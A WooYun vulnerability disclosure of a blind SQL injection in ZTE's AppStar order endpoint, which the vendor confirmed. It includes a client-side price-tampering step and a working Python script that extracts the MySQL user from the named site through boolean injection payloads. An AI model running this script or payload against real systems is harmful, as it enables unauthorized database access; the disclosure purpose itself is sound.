当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094325

漏洞标题:中兴应用之星盲注(三)附验证脚本

相关厂商:中兴通讯股份有限公司

漏洞作者: BMa

提交时间:2015-01-28 16:43

修复时间:2015-03-14 16:44

公开时间:2015-03-14 16:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-28: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经确认,细节仅向厂商公开
2015-02-09: 细节向核心白帽子及相关领域专家公开
2015-02-19: 细节向普通白帽子公开
2015-03-01: 细节向实习白帽子公开
2015-03-14: 细节向公众公开

简要描述:

中兴应用之星盲注(三)附验证脚本

详细说明:

http://www.appstar.com.cn/mall.htm

appstar.png


兑换礼品,积分不够,现将js中分数改为0,即可绕过,不过后台有验证,不能成功兑换,但是可以到达下一步
sql:

url:http://www.appstar.com.cn/addOrder.action
post:goodcode=849893&goodname=%E9%82%AE%E8%B5%84&goodprice=0&name=123&telephone=1356236532&address=ss&timecc=0.46280579625700147


参数:goodcode

1.jpg


2.jpg


3.jpg


正确时:"statusCode":300

4.jpg


错误时:"statusCode":500

5.jpg


sqlmap跑不出来,写个脚本验证一下

6.jpg


附脚本:

#!/usr/bin/python
#coding:utf_8
import httplib
import time
import urllib
import sys
import random
headers = {"Content-type": "application/x-www-form-urlencoded",
'Accept-Language':'zh-CN,zh;q=0.8',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0)',
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "close",
"Cache-Control": "no-cache"}
post_data = {"goodname":'%E9%82%AE%E8%B5%84',
"goodprice":'0',
"name":'aa',
"telephone":'bb',
"address":'cc',
"timecc":'0.731459898856081'
}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
base_url = "/addOrder.action"
user = ''
def sql():

global post_data
global user

cookie = raw_input("pls input your cookie:")
headers["Cookie"] = cookie

for i in range(1,22):
for payload in payloads:
getuser = "849892' or ASCII(MID(user(),%d,1)) = %s and 'A'='A" % (i,ord(payload))
post_data["goodcode"] = getuser

postdata = urllib.urlencode(post_data)
conn = httplib.HTTPConnection('www.appstar.com.cn',80,timeout=60)
conn.request('POST', base_url, postdata, headers)
html_contet = conn.getresponse().read().decode('utf-8')
# print html_contet

if html_contet.find('300') > 0:
user += payload
sys.stdout.write('\r[In Progress' + user)
sys.stdout.flush()
break
else:
print 'WAITING...' + str(random.randint(1,100))
if __name__ == "__main__":
sql()
print '\n[Done]MySQL user is ' + user
print time.strftime('%H:%M:%S', time.localtime())

漏洞证明:

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-30 08:58

厂商回复:

感谢~

最新状态:

暂无